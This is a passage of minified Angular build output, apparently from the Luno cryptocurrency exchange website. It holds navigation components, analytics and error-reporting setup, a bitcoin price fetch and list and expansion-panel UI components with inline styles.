Logo","loading","lazy",3,"src","srcset"],[3,"button"]],template:function(t,e){1&t&&(a.YNc(0,De,1,2,"luno-hamburger",0),a.YNc(1,Ze,7,5,"div",1)),2&t&&(a.Q6J("ngIf",!e.hasSideNav),a.xp6(1),a.Q6J("ngIf",e.navigationSide))},directives:[s.O5,Re,s.sg,me.r0,O.wG,Ae.t,P.Hw,Ne],pipes:[s.Ov],styles:["[_nghost-%COMP%]{display:block;padding:15px 20px 20px}[_nghost-%COMP%] .side-nav-button a{width:100%}[_nghost-%COMP%] mat-icon{margin-right:15px}[_nghost-%COMP%] mat-sidenav{min-width:300px}luno-badge[_ngcontent-%COMP%]{margin-left:-15px;margin-right:15px}.navigation-links[_ngcontent-%COMP%]{padding-top:20px}.links[_ngcontent-%COMP%] .group[_ngcontent-%COMP%]{margin-bottom:16px}.links[_ngcontent-%COMP%] .group[_ngcontent-%COMP%] .active-menu-item a{background-color:var(--color-neutral-100);font-weight:800;border:1px solid var(--color-neutral-100);border-radius:4px}.links[_ngcontent-%COMP%] h6[_ngcontent-%COMP%]{color:var(--color-neutral-300);margin:0 0 4px;font-size:10px;font-weight:500;text-transform:uppercase}.links[_ngcontent-%COMP%] ul{list-style:none;padding:0;margin:0}.links[_ngcontent-%COMP%] ul li a{display:flex;align-items:center;justify-content:flex-start;padding:10px 20px;margin-left:-10px;margin-right:-10px;font-size:16px;font-weight:400;line-height:28px;color:var(--color-primary);text-decoration:none;outline:none}.links[_ngcontent-%COMP%] ul li a:hover{background-color:var(--color-neutral-100)}.links[_ngcontent-%COMP%] .side-nav-img[_ngcontent-%COMP%]{width:20px;margin-right:18px;vertical-align:middle}luno-button[_ngcontent-%COMP%] + .links[_ngcontent-%COMP%]{margin-top:20px}.app-links[_ngcontent-%COMP%] a[_ngcontent-%COMP%]{display:inline-block;max-width:133px;max-height:40px;border-radius:5px}.app-links[_ngcontent-%COMP%] a[_ngcontent-%COMP%]:first-child{margin-right:9px}.app-links[_ngcontent-%COMP%] img[_ngcontent-%COMP%]{width:100%}.button-container[_ngcontent-%COMP%]{max-width:344px;padding-bottom:16px}.button-container[_ngcontent-%COMP%] luno-button{width:344px}.button-container[_ngcontent-%COMP%] luno-button a{width:100%;margin:16px 0 0}"]}),t}();function Je(t,e){if(1&t){var n=a.EpF();a.TgZ(0,"luno-hamburger",3),a.NdJ("hamburgerIconClick",function(){return a.CHM(n),a.oxw().onMenuClick()}),a.qZA()}if(2&t){var i=a.oxw();a.Q6J("isOpaque",i.isOpaqueClass)}}function Qe(t,e){if(1&t&&(a._UZ(0,"luno-badge",10),a.ALo(1,"async")),2&t){var n=a.oxw(2).$implicit;a.Q6J("badgeCount",a.lcZ(1,1,n.badgeCount$))}}function Ke(t,e){if(1&t&&(a.TgZ(0,"luno-hyperlink",8),a._uU(1),a.YNc(2,Qe,2,3,"luno-badge",9),a.ALo(3,"async"),a.qZA()),2&t){var n=a.oxw().$implicit,i=a.oxw(2);a.ekj("active",i.isRouteActive(n))("hide-on-mobile",n.hideOnMobile)("hide-on-tablet",n.hideOnTablet)("hide-on-laptop-screen",n.hideOnLaptopScreen)("hide-on-desktop",n.hideOnDesktop),a.Q6J("action",n.action),a.xp6(1),a.hij("",n.action.name," "),a.xp6(1),a.Q6J("ngIf",a.lcZ(3,13,n.badgeCount$))}}function Xe(t,e){if(1&t){var n=a.EpF();a.TgZ(0,"luno-button",11),a.NdJ("clicked",function(t){return a.CHM(n),a.oxw(3).onButtonClicked(t)}),a.qZA()}if(2&t){var i=a.oxw().$implicit;a.Q6J("button",i)("themePalette",i.themePalette)}}function $e(t,e){if(1&t&&(a.ynx(0),a.YNc(1,Ke,4,15,"luno-hyperlink",6),a.YNc(2,Xe,1,2,"luno-button",7),a.BQk()),2&t){var n=e.$implicit;a.xp6(1),a.Q6J("ngIf",!n.action.style),a.xp6(1),a.Q6J("ngIf",n.action.style)}}function tn(t,e){if(1&t&&(a.TgZ(0,"menu",4),a.YNc(1,$e,3,2,"ng-container",5),a.qZA()),2&t){var n=a.oxw();a.xp6(1),a.Q6J("ngForOf",n.navigationTop.navigationItems)}}var en=function(){function t(e,n,i,r){_(this,t),this.changeDetectorRef=e,this.url=n,this.router=i,this.windowRef=r,this.itemClicked=new a.vpe,this.buttonClicked=new a.vpe,this.toggleSidenav=new a.vpe,this.isOpaqueClass=!1,this.isPositionFixedClass=!1,this.isExchange=!1,this.navBarHeight=30}return y(t,[{key:"isTransparentClass",get:function(){var t;return!!(null===(t=this.navigationTop)||void 0===t?void 0:t.isTransparent)}},{key:"ngOnInit",value:function(){var t=this;this.setOpaque(!1),this.setPositionFixed(!1),this.trackIfUrlIsExchange(),this.attachToRouterRoutingChangeEvents(),window.addEventListener("scroll",function(){return t.scrollEventListener(t.windowRef.nativeWindow.scrollY)})}},{key:"ngOnDestroy",value:function(){var t;null===(t=this.routerEventsSubscription)||void 0===t||t.unsubscribe()}},{key:"onOffsetChanged",value:function(t){0===t&&(this.isPositionFixedClass=!0)}},{key:"scrollEventListener",value:function(t){this.setOpaque(t>this.navBarHeight+this.offset),this.setPositionFixed(t>this.offset)}},{key:"setOpaque",value:function(t){t!==this.isOpaqueClass&&(this.isOpaqueClass=t,this.changeDetectorRef.markForCheck())}},{key:"setPositionFixed",value:function(t){t!==this.isPositionFixedClass&&(this.isPositionFixedClass=t,this.changeDetectorRef.markForCheck())}},{key:"trackIfUrlIsExchange",value:function(t){var e;this.isExchange=!(!(null===(e=null==t?void 0:t.url)||void 0===e?void 0:e.includes("/exchange"))&&!this.router.url.includes("/exchange")),this.changeDetectorRef.markForCheck()}},{key:"attachToRouterRoutingChangeEvents",value:function(){var t=this;this.routerEventsSubscription=this.router.events.pipe((0,V.h)(function(t){return t instanceof wt.sj})).subscribe(function(e){t.trackIfUrlIsExchange(e)})}},{key:"isRouteActive",value:function(t){if(!t.activeForRoutes||!this.activeUrl)return!1;var e,n=r(t.activeForRoutes);try{for(n.s();!(e=n.n()).done;){var i=e.value;if(t.isActiveForRoutesExact&&this.activeUrl===i||!t.isActiveForRoutesExact&&this.activeUrl.includes(i))return!0}}catch(o){n.e(o)}finally{n.f()}return!1}},{key:"onMenuClick",value:function(){this.toggleSidenav.emit(!0)}},{key:"onButtonClicked",value:function(t){this.buttonClicked.emit(t.action)}}]),t}();en.\u0275fac=function(t){return new(t||en)(a.Y36(a.sBO),a.Y36(s.S$),a.Y36(wt.F0),a.Y36(Ft.X))},en.\u0275cmp=a.Xpm({type:en,selectors:[["luno-navigation-top"]],inputs:{navigationTop:"navigationTop",activeUrl:"activeUrl",hasSideNav:"hasSideNav",webAssetsUrl:"webAssetsUrl",offset:"offset"},outputs:{itemClicked:"itemClicked",buttonClicked:"buttonClicked",toggleSidenav:"toggleSidenav"},decls:3,vars:10,consts:[[1,"nav-top"],["class","theme-primary",3,"isOpaque","hamburgerIconClick",4,"ngIf"],["class","links",4,"ngIf"],[1,"theme-primary",3,"isOpaque","hamburgerIconClick"],[1,"links"],[4,"ngFor","ngForOf"],[3,"action","active","hide-on-mobile","hide-on-tablet","hide-on-laptop-screen","hide-on-desktop",4,"ngIf"],["class","theme-tertiary",3,"button","themePalette","clicked",4,"ngIf"],[3,"action"],[3,"badgeCount",4,"ngIf"],[3,"badgeCount"],[1,"theme-tertiary",3,"button","themePalette","clicked"]],template:function(t,e){1&t&&(a.TgZ(0,"nav",0),a.YNc(1,Je,1,1,"luno-hamburger",1),a.YNc(2,tn,2,1,"menu",2),a.qZA()),2&t&&(a.ekj("exchange",e.isExchange)("transparent",e.isTransparentClass)("opaque",e.isOpaqueClass)("fixed",e.isPositionFixedClass),a.xp6(1),a.Q6J("ngIf",e.hasSideNav),a.xp6(1),a.Q6J("ngIf",e.navigationTop&&e.navigationTop.navigationItems))},directives:[s.O5,Re,s.sg,Ae.t,Ne,me.r0],pipes:[s.Ov],styles:['.nav-top[_ngcontent-%COMP%]{position:absolute;left:0;right:0;height:63px;display:flex;justify-content:space-between;align-items:center;padding:20px;z-index:9;transition:.4s cubic-bezier(.35,0,.25,1)}.nav-top.transparent[_ngcontent-%COMP%]{background:transparent}.nav-top[_ngcontent-%COMP%]:not(.transparent){background:var(--color-primary)}.nav-top[_ngcontent-%COMP%]:not(.transparent).exchange:not(.opaque){background:#051025}.nav-top.opaque[_ngcontent-%COMP%]{background:#ffffff;box-shadow:0 2px 2px #0000003d,0 0 2px #0000001f}.nav-top.opaque[_ngcontent-%COMP%] .links[_ngcontent-%COMP%] luno-hyperlink[_ngcontent-%COMP%] a{color:#12326b}.nav-top.fixed[_ngcontent-%COMP%]{position:fixed;top:0}[_nghost-%COMP%] luno-hyperlink a{outline:none}.links[_ngcontent-%COMP%] luno-hyperlink[_ngcontent-%COMP%], .links[_ngcontent-%COMP%] luno-button[_ngcontent-%COMP%]{margin-left:10px}.links[_ngcontent-%COMP%] luno-hyperlink[_ngcontent-%COMP%]{font-size:16px;font-weight:800;text-transform:uppercase}.links[_ngcontent-%COMP%] luno-hyperlink[_ngcontent-%COMP%] a{position:relative;display:inline-block;padding:7px;color:var(--color-neutral-0);text-decoration:none;transition:.4s cubic-bezier(.35,0,.25,1)}.links[_ngcontent-%COMP%] luno-hyperlink[_ngcontent-%COMP%] a:after{position:absolute;bottom:0;left:0;right:0;margin:auto;width:0;content:"";color:transparent;background:var(--color-accent);height:1px}.links[_ngcontent-%COMP%] luno-hyperlink[_ngcontent-%COMP%] a:hover:after{transition:all .4s;width:calc(100% - 14px)}.links[_ngcontent-%COMP%] luno-hyperlink.active[_ngcontent-%COMP%] a:after{width:calc(100% - 14px)}@media screen and (max-width: 768px){.links[_ngcontent-%COMP%] luno-hyperlink.hide-on-mobile[_ngcontent-%COMP%]{display:none}}@media screen and (max-width: 1150px){.links[_ngcontent-%COMP%] luno-hyperlink.hide-on-laptop-screen[_ngcontent-%COMP%]{display:none}}@media screen and (min-width: 768px) and (max-width: 992px){.links[_ngcontent-%COMP%] luno-hyperlink.hide-on-tablet[_ngcontent-%COMP%]{display:none}}@media screen and (min-width: 992px){.links[_ngcontent-%COMP%] luno-hyperlink.hide-on-desktop[_ngcontent-%COMP%]{display:none}}.links[_ngcontent-%COMP%] luno-button[_ngcontent-%COMP%] a{padding:0 20px}.links[_ngcontent-%COMP%] luno-badge[_ngcontent-%COMP%]{margin-left:6px;top:20px}@-moz-document url-prefix(){.links luno-badge{top:35px!important}}@media not all and (min-resolution: .001dpcm){@supports (-webkit-appearance: none){.links[_ngcontent-%COMP%] luno-badge[_ngcontent-%COMP%]{right:10%}}}@media not all and (min-resolution: .001dpcm){@supports (-webkit-appearance: none){.links[_ngcontent-%COMP%] luno-badge[_ngcontent-%COMP%] .mat-badge .mat-badge-content{right:0}}}.luno_v3[_nghost-%COMP%] .nav-top[_ngcontent-%COMP%], .luno_v3 [_nghost-%COMP%] .nav-top[_ngcontent-%COMP%]{background:var(--color-primary)}.luno_v3[_nghost-%COMP%] .nav-top.transparent[_ngcontent-%COMP%], .luno_v3 [_nghost-%COMP%] .nav-top.transparent[_ngcontent-%COMP%]{background:transparent}.luno_v3[_nghost-%COMP%] .nav-top[_ngcontent-%COMP%]:not(.transparent), .luno_v3 [_nghost-%COMP%] .nav-top[_ngcontent-%COMP%]:not(.transparent){background:var(--color-primary)}.luno_v3[_nghost-%COMP%] .nav-top.opaque[_ngcontent-%COMP%], .luno_v3 [_nghost-%COMP%] .nav-top.opaque[_ngcontent-%COMP%]{background:#ffffff;box-shadow:0 2px 2px #0000003d,0 0 2px #0000001f}.luno_v3[_nghost-%COMP%] .nav-top.opaque[_ngcontent-%COMP%] .links[_ngcontent-%COMP%] luno-hyperlink[_ngcontent-%COMP%] a, .luno_v3 [_nghost-%COMP%] .nav-top.opaque[_ngcontent-%COMP%] .links[_ngcontent-%COMP%] luno-hyperlink[_ngcontent-%COMP%] a{color:#12326b}']}),(0,ee.gn)([(0,de.G)("onOffsetChanged"),(0,ee.w6)("design:type",Number)],en.prototype,"offset",void 0);var nn=["sidenav"];function rn(t,e){if(1&t){var n=a.EpF();a.TgZ(0,"luno-navigation-side",5),a.NdJ("toggleSidenav",function(t){return a.CHM(n),a.oxw().onToggleSidenav(t)}),a.qZA()}if(2&t){var i=a.oxw(),r=a.MAs(2);a.Q6J("navigationSide",i.navigation.navigationSide)("activeUrl",i.activeUrl)("webAssetsUrl",i.navigation.webAssetsUrl)("isAuthenticated",i.isAuthenticated)("isOpen",r.opened)}}function on(t,e){if(1&t){var n=a.EpF();a.TgZ(0,"luno-navigation-top",6),a.NdJ("toggleSidenav",function(t){return a.CHM(n),a.oxw().onToggleSidenav(t)})("buttonClicked",function(t){return a.CHM(n),a.oxw().onButtonClicked(t)}),a.qZA()}if(2&t){var i=a.oxw();a.Q6J("navigationTop",i.navigation.navigationTop)("webAssetsUrl",i.navigation.webAssetsUrl)("activeUrl",i.activeUrl)("hasSideNav",!!i.navigation.navigationSide)("offset",i.navigationTopOffset)}}var an=["*"],sn=function(){var t=function(){function t(e){_(this,t),this.router=e,this.navigationTopOffset=0,this.itemClicked=new a.vpe,this.buttonClicked=new a.vpe}return y(t,[{key:"ngOnInit",value:function(){var t=this;this.activeUrl=this.router.url,this.routerEventsSubscription=this.router.events.subscribe(function(e){e instanceof wt.m2&&t.onNavigationEnd(e)})}},{key:"ngOnDestroy",value:function(){this.routerEventsSubscription&&this.routerEventsSubscription.unsubscribe()}},{key:"onNavigationEnd",value:function(t){this.activeUrl=t.url}},{key:"onToggleSidenav",value:function(t){this.sidenav.opened=t}},{key:"onButtonClicked",value:function(t){this.buttonClicked.emit(t)}}]),t}();return t.\u0275fac=function(e){return new(e||t)(a.Y36(wt.F0))},t.\u0275cmp=a.Xpm({type:t,selectors:[["luno-navigation"]],viewQuery:function(t,e){var n;(1&t&&a.Gf(nn,5),2&t)&&(a.iGM(n=a.CRH())&&(e.sidenav=n.first))},inputs:{navigation:"navigation",isAuthenticated:"isAuthenticated",navigationTopOffset:"navigationTopOffset"},outputs:{itemClicked:"itemClicked",buttonClicked:"buttonClicked"},ngContentSelectors:an,decls:7,vars:3,consts:[[1,"side-nav-wrapper"],["mode","side","mode","over",3,"fixedInViewport"],["sidenav",""],[3,"navigationSide","activeUrl","webAssetsUrl","isAuthenticated","isOpen","toggleSidenav",4,"ngIf"],[3,"navigationTop","webAssetsUrl","activeUrl","hasSideNav","offset","toggleSidenav","buttonClicked",4,"ngIf"],[3,"navigationSide","activeUrl","webAssetsUrl","isAuthenticated","isOpen","toggleSidenav"],[3,"navigationTop","webAssetsUrl","activeUrl","hasSideNav","offset","toggleSidenav","buttonClicked"]],template:function(t,e){1&t&&(a.F$t(),a.TgZ(0,"mat-sidenav-container",0),a.TgZ(1,"mat-sidenav",1,2),a.YNc(3,rn,1,5,"luno-navigation-side",3),a.qZA(),a.TgZ(4,"mat-sidenav-content"),a.YNc(5,on,1,5,"luno-navigation-top",4),a.Hsn(6),a.qZA(),a.qZA()),2&t&&(a.xp6(1),a.Q6J("fixedInViewport",!0),a.xp6(2),a.Q6J("ngIf",e.navigation&&e.navigation.navigationSide),a.xp6(2),a.Q6J("ngIf",null==e.navigation?null:e.navigation.navigationTop))},directives:[bt,_t,s.O5,yt,We,en],styles:["mat-sidenav[_ngcontent-%COMP%]{min-width:300px}"],changeDetection:0}),t}();function un(t,e){if(1&t&&(a.TgZ(0,"luno-navigation",1),a._UZ(1,"router-outlet"),a.qZA()),2&t){var n=a.oxw();a.Q6J("navigation",n.navigation)("isAuthenticated",n.isAuthenticated)}}var cn=function(){function t(e,n,i,r,o,a,s,u,c,l,h,f,d){_(this,t),this.analyticsService=e,this.authAppInfoService=n,this.changeDetectorRef=i,this.commonInfoService=r,this.featureFlagsService=o,this.gtmService=a,this.localeService=s,this.navigationService=u,this.router=c,this.tickerService=l,this.seoService=h,this.windowBodyService=f,this.document=d,this.isAuthenticated=!1,this.isFirstNavigation=!0}return y(t,[{key:"ngOnInit",value:function(){this.projectAssetsUrl=this.authAppInfoService.assetsPath,this.navServiceConfig={webAssetsUrl:this.projectAssetsUrl,staticAssetsPath:this.commonInfoService.staticAssetsUrl||"",currentUrl:this.router.url},this.isAuthenticated=this.commonInfoService.isAuthenticated,this.seoService.titleSuffix=" | Luno",this.initAnalytics(),this.setNavigation(),this.fetchBtcPrice(),this.updateStateOnRouteChange(),this.maybeSetLunoV3()}},{key:"sideNavigationGroups",get:function(){return this.navServiceConfig?this.navigationService.getSideNavigationGroups(this.navServiceConfig):[]}},{key:"topNavigationItems",get:function(){return this.navigationService.getWebsiteTopNavigationItems(this.isAuthenticated,this.btcPrice)}},{key:"setNavigation",value:function(){this.navigation={webAssetsUrl:this.projectAssetsUrl,navigationTop:{navigationItems:this.topNavigationItems},navigationSide:{navigationGroups:this.sideNavigationGroups}},this.changeDetectorRef.detectChanges()}},{key:"updateStateOnRouteChange",value:function(){var t=this;this.router.events.pipe((0,V.h)(function(t){return t instanceof wt.R9})).subscribe(function(e){return t.updateState(e)})}},{key:"updateState",value:function(t){!t||(this.navServiceConfig=Object.assign(Object.assign({},this.navServiceConfig),{currentUrl:t.urlAfterRedirects}),this.changeDetectorRef.detectChanges(),this.enforceLangCodeInPath(t),this.isFirstNavigation=!1)}},{key:"fetchBtcPrice",value:function(){var t=this;this.tickerService.fetch().subscribe(function(e){return t.btcPrice=null==e?void 0:e.btc_price})}},{key:"initAnalytics",value:function(){var t;this.gtmService.addGtmToDom(this.commonInfoService.googleTagManagerConfig),this.analyticsService.logUserIntoGtag(null===(t=this.commonInfoService.userInfo)||void 0===t?void 0:t.userId)}},{key:"enforceLangCodeInPath",value:function(t){var e,n=null===(e=t.state.root.firstChild)||void 0===e?void 0:e.params.lang,i=Object.keys(this.commonInfoService.availableLanguages||[]).includes(n);this.isFirstNavigation||i?i||this.router.navigateByUrl("/".concat(this.localeService.urlPath).concat(t.urlAfterRedirects)):this.router.navigate(["/".concat(this.localeService.urlPath,"/login")])}},{key:"maybeSetLunoV3",value:function(){!this.featureFlagsService.isEnabled("luno_v3")||this.windowBodyService.addClass("luno_v3")}}]),t}();cn.\u0275fac=function(t){return new(t||cn)(a.Y36(Gt.y),a.Y36(pe.R),a.Y36(a.sBO),a.Y36(Yt.E),a.Y36(zt.a),a.Y36(ne.b),a.Y36(Wt.O),a.Y36(le),a.Y36(wt.F0),a.Y36(fe),a.Y36(he.v),a.Y36(ve.h),a.Y36(s.K0))},cn.\u0275cmp=a.Xpm({type:cn,selectors:[["luno-auth-app"]],decls:2,vars:1,consts:[[3,"navigation","isAuthenticated",4,"ngIf"],[3,"navigation","isAuthenticated"]],template:function(t,e){1&t&&(a.YNc(0,un,2,2,"luno-navigation",0),a._UZ(1,"luno-cookie-preferences")),2&t&&a.Q6J("ngIf",e.navigation)},directives:[s.O5,Se,sn,wt.lC],styles:["router-outlet[_ngcontent-%COMP%]{display:block;background-color:#12326b;margin-top:63px}luno-cookie-preferences[_ngcontent-%COMP%]{position:fixed;z-index:100;bottom:0}"],changeDetection:0}),(0,ee.gn)([(0,de.G)("setNavigation"),(0,ee.w6)("design:type",Object)],cn.prototype,"btcPrice",void 0),(0,s.qS)(p()),(0,s.qS)(m()),(0,s.qS)(b()),(0,s.qS)(h());var ln=function(){var t=function t(){_(this,t)};return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=a.oAB({type:t,bootstrap:[cn]}),t.\u0275inj=a.cJS({providers:[{provide:Vt.x,useValue:Mt.I.auth},{provide:a.ip1,useFactory:function(t){return function(){return t.load()}},deps:[pe.R],multi:!0},{provide:Gt.v,useValue:[Lt.GeneralGtagId,Lt.GeneralUniversalId]},{provide:a.qLn,useFactory:function(t){return t.useBugsnag()?new S(function(t){var e=[0,401],n=["ChunkLoadError",'The animation trigger "transform" has failed',"Function statements require a function name"],i=["ChunkLoadError"];return x().start({appVersion:Ht(t),apiKey:t.bugsnagApiKey,releaseStage:window.location.host===jt.Production?"production":window.location.host.includes(jt.Staging)?"staging":"dev",onError:function(t){var r;return!(e.includes(null===(r=null==t?void 0:t.originalError)||void 0===r?void 0:r.status)||(null==t?void 0:t.errors.some(function(t){return n.some(function(e){return t.errorMessage.includes(e)})||i.some(function(e){return t.errorClass.includes(e)})})))}})}(Jt.N)):new a.qLn},deps:[qt.q]},{provide:u.TP,useClass:Zt.D3,multi:!0},{provide:u.TP,useClass:Ut,multi:!0},{provide:k.Ve,useValue:{duration:2500}},{provide:Ft.X,useClass:Ft.X,multi:!1},{provide:a.soG,useFactory:function(t){return t.locale},deps:[Wt.O]},{provide:Yt.N,useValue:["en","en-US","fr","id","it"]},{provide:zt.u,useFactory:function(t){return t},deps:[Yt.E]},Bt.Tt],imports:[[u.JF,te,o.b2,w.PW,D,k.ZX,Dt]]}),t}();Jt.N.production&&(0,a.G48)(),o.q6().bootstrapModule(ln).catch(function(t){return console.log(t)})},91797:function(t,e,n){"use strict";n.d(e,{r0:function(){return te},L$:function(){return Xt}});var i,r=n(3786),o=n(2316),a=n(76322),s=n(54364),u=n(66846),c=n(98045),l=((i=function(){function t(){_(this,t)}return y(t,[{key:"isNavType",value:function(t){return t.type=this.getType(t),(t.type===u.GyU.STANDARD||t.type===u.GyU.PAYMENT_METHOD||t.type===u.GyU.INLINE_BUTTON)&&this.hasAction(t)}},{key:"isSelectType",value:function(t){return t.type=this.getType(t),t.type===u.GyU.CHECKBOX}},{key:"isEmptyType",value:function(t){return t.type=this.getType(t),t.type===u.GyU.EMPTY_STATE}},{key:"isDefaultType",value:function(t){return!this.isNavType(t)&&!this.isSelectType(t)}},{key:"hasAction",value:function(t){var e;return(null===(e=t.actions)||void 0===e?void 0:e.length)>0&&!!t.actions[0]&&Object.keys(t.actions[0]).length>0}},{key:"isInlineButton",value:function(t){return t.type=this.getType(t),t.type===u.GyU.INLINE_BUTTON}},{key:"isInlineButtonInteractive",value:function(t){return!!t.id||!!t.url||!!t.endpoint}},{key:"getType",value:function(t){switch(u.KzN[t.type]||t.type){case u.GyU.STANDARD:return u.GyU.STANDARD;case u.GyU.CHECKBOX:return u.GyU.CHECKBOX;case u.GyU.HEADING:return u.GyU.HEADING;case u.GyU.PAYMENT_METHOD:return u.GyU.PAYMENT_METHOD;case u.GyU.SWITCH_CONTROL:return u.GyU.SWITCH_CONTROL;case u.GyU.INLINE_BUTTON:return u.GyU.INLINE_BUTTON;case u.GyU.EMPTY_STATE:return u.GyU.EMPTY_STATE;default:return u.GyU.UNKNOWN_TYPE}}}]),t}()).\u0275fac=function(t){return new(t||i)},i.\u0275prov=o.Yz7({token:i,factory:i.\u0275fac,providedIn:"root"}),i),h=n(34008),f=n(1625),d=n(52529);function p(t,e){if(1&t&&o._UZ(0,"img",2),2&t){var n=o.oxw();o.Q6J("src",n.icon.url,o.LSH)}}function v(t,e){if(1&t&&(o.TgZ(0,"mat-icon"),o._uU(1),o.qZA()),2&t){o.oxw();var n=o.MAs(1);o.xp6(1),o.Oqu(n.expanded?"arrow_drop_up":"arrow_drop_down")}}var m=function(t){return{"background-color":t}};function g(t,e){if(1&t){var n=o.EpF();o.TgZ(0,"mat-expansion-panel",3,4),o.NdJ("closed",function(){return o.CHM(n),o.oxw().panelCollapsed.emit()})("opened",function(){return o.CHM(n),o.oxw().panelExpanded.emit()}),o.TgZ(2,"mat-expansion-panel-header",5),o.TgZ(3,"mat-panel-title"),o._uU(4),o.qZA(),o.YNc(5,v,2,1,"mat-icon",6),o.qZA(),o.Hsn(6),o.qZA()}if(2&t){var i=o.oxw();o.ekj("transparent",i.isTransparent)("white-text",i.useWhiteText),o.Q6J("ngClass",i.elevated?"mat-elevation-z1":"mat-elevation-z0")("ngStyle",o.VKq(16,m,i.backgroundColor))("expanded",i.isExpanded)("hideToggle",!0)("disabled",!i.isCollapsible),o.xp6(2),o.Q6J("collapsedHeight",i.collapsedHeight)("expandedHeight",i.expandedHeight)("ngStyle",o.VKq(18,m,i.backgroundColor)),o.xp6(1),o.ekj("uppercase",i.isTitleUppercase),o.xp6(1),o.Oqu(i.title),o.xp6(1),o.Q6J("ngIf",i.isCollapsible)}}var b=["*"],k=function(){var t=function t(){_(this,t),this.isCollapsible=!0,this.collapsedHeight="auto",this.expandedHeight="auto",this.elevated=!0,this.isExpanded=!0,this.isTitleUppercase=!0,this.panelExpanded=new o.vpe,this.panelCollapsed=new o.vpe};return t.\u0275fac=function(e){return new(e||t)},t.\u0275cmp=o.Xpm({type:t,selectors:[["luno-expansion-panel"]],inputs:{title:"title",useWhiteText:"useWhiteText",isCollapsible:"isCollapsible",collapsedHeight:"collapsedHeight",expandedHeight:"expandedHeight",icon:"icon",elevated:"elevated",isExpanded:"isExpanded",backgroundColor:"backgroundColor",isTransparent:"isTransparent",isTitleUppercase:"isTitleUppercase"},outputs:{panelExpanded:"panelExpanded",panelCollapsed:"panelCollapsed"},ngContentSelectors:b,decls:3,vars:4,consts:[[3,"src",4,"ngIf"],[3,"ngClass","ngStyle","transparent","white-text","expanded","hideToggle","disabled","closed","opened",4,"ngIf"],[3,"src"],[3,"ngClass","ngStyle","expanded","hideToggle","disabled","closed","opened"],["panel",""],[3,"collapsedHeight","expandedHeight","ngStyle"],[4,"ngIf"]],template:function(t,e){1&t&&(o.F$t(),o.TgZ(0,"div"),o.YNc(1,p,1,1,"img",0),o.YNc(2,g,7,20,"mat-expansion-panel",1),o.qZA()),2&t&&(o.ekj("panel-container",e.icon),o.xp6(1),o.Q6J("ngIf",e.icon),o.xp6(1),o.Q6J("ngIf",e.title))},directives:[s.O5,f.ib,s.mk,s.PC,f.yz,f.yK,d.Hw],styles:[".mat-expansion-panel[_ngcontent-%COMP%]{border-radius:0}mat-expansion-panel-header[_ngcontent-%COMP%], mat-expansion-panel-header[_ngcontent-%COMP%]:hover{background:#f0f2f5!important}.mat-expansion-panel-header[aria-disabled=true][_ngcontent-%COMP%] mat-panel-title[_ngcontent-%COMP%], mat-panel-title[_ngcontent-%COMP%]{color:var(--color-primary);font-weight:800;line-height:1.1;font-size:14px;color:inherit;line-height:1.2;align-items:center;font-size:16px}.mat-expansion-panel-header[aria-disabled=true][_ngcontent-%COMP%] mat-panel-title.uppercase[_ngcontent-%COMP%], mat-panel-title.uppercase[_ngcontent-%COMP%]{text-transform:uppercase}mat-icon[_ngcontent-%COMP%]{color:#12326b}img[_ngcontent-%COMP%]{width:24px;height:50px}.transparent.mat-expansion-panel[_ngcontent-%COMP%], .transparent[_ngcontent-%COMP%] .mat-expansion-panel-header[_ngcontent-%COMP%], .transparent[_ngcontent-%COMP%] .mat-expansion-panel-header[_ngcontent-%COMP%]:hover{background-color:transparent!important}.white-text[_ngcontent-%COMP%] mat-icon[_ngcontent-%COMP%], .white-text[_ngcontent-%COMP%] mat-panel-title[_ngcontent-%COMP%], .white-text[_ngcontent-%COMP%] p[_ngcontent-%COMP%]{color:#fff!important}mat-panel-title[_ngcontent-%COMP%]{font-size:16px}.panel-container[_ngcontent-%COMP%]{display:flex}"]}),t}(),w=n(28417),C=n(1707),x=n(62940),S=n(58625),E=n(70227),A=n(62157),T=n(22213),I=n(46708),O=n(24298),R=n(94353),P=n(1124);function N(t,e){1&t&&o.GkF(0)}function D(t,e){if(1&t&&(o.ynx(0),o.YNc(1,N,1,0,"ng-container",5),o.BQk()),2&t){o.oxw();var n=o.MAs(6);o.xp6(1),o.Q6J("ngTemplateOutlet",n)}}function L(t,e){1&t&&o.GkF(0)}function M(t,e){if(1&t&&(o.TgZ(0,"luno-hyperlink",8),o.YNc(1,L,1,0,"ng-container",5),o.qZA()),2&t){var n=o.oxw(2),i=o.MAs(4);o.Q6J("action",n.listItem.actions[0]),o.xp6(1),o.Q6J("ngTemplateOutlet",i)}}function F(t,e){1&t&&o.GkF(0)}function U(t,e){if(1&t&&(o.ynx(0),o.YNc(1,F,1,0,"ng-container",5),o.BQk()),2&t){o.oxw(2);var n=o.MAs(4);o.xp6(1),o.Q6J("ngTemplateOutlet",n)}}function B(t,e){if(1&t&&(o.YNc(0,M,2,2,"luno-hyperlink",6),o.YNc(1,U,2,1,"ng-container",7)),2&t){var n=o.oxw();o.Q6J("ngIf",n.isNavType),o.xp6(1),o.Q6J("ngIf",!n.isNavType)}}var j=function(t,e){return{height:t,width:e}};function H(t,e){if(1&t&&o._UZ(0,"img",23),2&t){var n=o.oxw(3);o.Q6J("ngStyle",o.WLB(2,j,n.leftIcon.height+"px",n.leftIcon.width+"px"))("src",n.leftIcon.url,o.LSH)}}function V(t,e){1&t&&o.GkF(0)}function G(t,e){if(1&t&&(o.ynx(0),o.YNc(1,V,1,0,"ng-container",5),o.BQk()),2&t){o.oxw(4);var n=o.MAs(8);o.xp6(1),o.Q6J("ngTemplateOutlet",n)}}function Y(t,e){if(1&t&&(o.TgZ(0,"p",24),o._uU(1),o.YNc(2,G,2,1,"ng-container",7),o.qZA()),2&t){var n=o.oxw(3);o.xp6(1),o.hij(" ",n.listItem.overlineLabel," "),o.xp6(1),o.Q6J("ngIf",!n.listItem.label)}}function q(t,e){if(1&t&&o._UZ(0,"h3",25),2&t){var n=o.oxw(3);o.Q6J("innerHtml",n.listItem.labelHtml,o.oJD)}}function z(t,e){1&t&&o.GkF(0)}function Z(t,e){if(1&t&&(o.TgZ(0,"h3",27),o._uU(1),o.YNc(2,z,1,0,"ng-container",5),o.qZA()),2&t){var n=o.oxw(4),i=o.MAs(8);o.xp6(1),o.hij(" ",n.listItem.label," "),o.xp6(1),o.Q6J("ngTemplateOutlet",i)}}function W(t,e){if(1&t&&o.YNc(0,Z,3,2,"h3",26),2&t){var n=o.oxw(3);o.Q6J("ngIf",n.listItem.label)}}function J(t,e){if(1&t&&(o.TgZ(0,"p",28),o._uU(1),o.qZA()),2&t){var 